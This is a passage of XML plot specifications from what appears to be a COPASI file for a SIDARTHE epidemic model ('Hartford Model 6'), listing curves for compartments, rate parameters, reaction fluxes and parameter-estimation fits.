<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="S" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="T" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Total_Hospitalized" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Total_Hospitalized],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="UCH" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
</ListOfPlotItems>
</PlotSpecification>
<PlotSpecification name="Progress of Fit" type="Plot2D" active="1" taskTypes="Parameter Estimation">
<Parameter name="log X" type="bool" value="0"/>
<Parameter name="log Y" type="bool" value="1"/>
<ListOfPlotItems>
<PlotItem name="sum of squares" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Function Evaluations"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Value"/>
</ListOfChannels>
</PlotItem>
</ListOfPlotItems>
</PlotSpecification>
<PlotSpecification name="parameters" type="Plot2D" active="0" taskTypes="">
<Parameter name="log X" type="bool" value="0"/>
<Parameter name="log Y" type="bool" value="0"/>
<ListOfPlotItems>
<PlotItem name="R0" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="alpha" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="beta" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="delta" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="epsilon" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="eta" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="gamma" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="kappa" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="lambda" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="mu" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="nu" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="rho" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="sigma" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="tau" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="theta" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="xi" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="zeta" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=Value"/>
</ListOfChannels>
</PlotItem>
</ListOfPlotItems>
</PlotSpecification>
<PlotSpecification name="Fluxes" type="Plot2D" active="0" taskTypes="">
<Parameter name="log X" type="bool" value="0"/>
<Parameter name="log Y" type="bool" value="0"/>
<ListOfPlotItems>
<PlotItem name="contagion_A" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="contagion_D" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="contagion_I" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="contagion_R" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="critical_A" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="critical_R" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="death" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="diagnosis_A" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="diagnosis_I" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="healing_A" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="healing_D" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="healing_I" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="healing_R" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="healing_T" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="symptoms_D" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="symptoms_I" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],Reference=Flux"/>
</ListOfChannels>
</PlotItem>
</ListOfPlotItems>
</PlotSpecification>
<PlotSpecification name="Parameter estimation" type="Plot2D" active="1" taskTypes="Parameter Estimation">
<Parameter name="log X" type="bool" value="0"/>
<Parameter name="log Y" type="bool" value="0"/>
<ListOfPlotItems>
<PlotItem name="Diag inf (data)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="3"/>
<Parameter name="Line subtype" type="unsignedInteger" value="1"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#FF0000"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Measured Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Diag inf (fit)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#FF0000"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Fitted Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="E (data)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="3"/>
<Parameter name="Line subtype" type="unsignedInteger" value="1"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#00BEF0"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[3],Reference=Measured Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="E (fit)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#00BEF0"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[3],Reference=Fitted Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Total T (data)" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="3"/>
<Parameter name="Line subtype" type="unsignedInteger" value="1"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="#0000FF"/>
<Parameter name="Recording Activity" type="string" value="after"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[0],Reference=Independent Value"/>
<ChannelSpec cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,ParameterGroup=Experiment Set,ParameterGroup=Experiment,Vector=Fitted Points[1],Reference=Measured Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Total T (fit)" type="Curve2D">
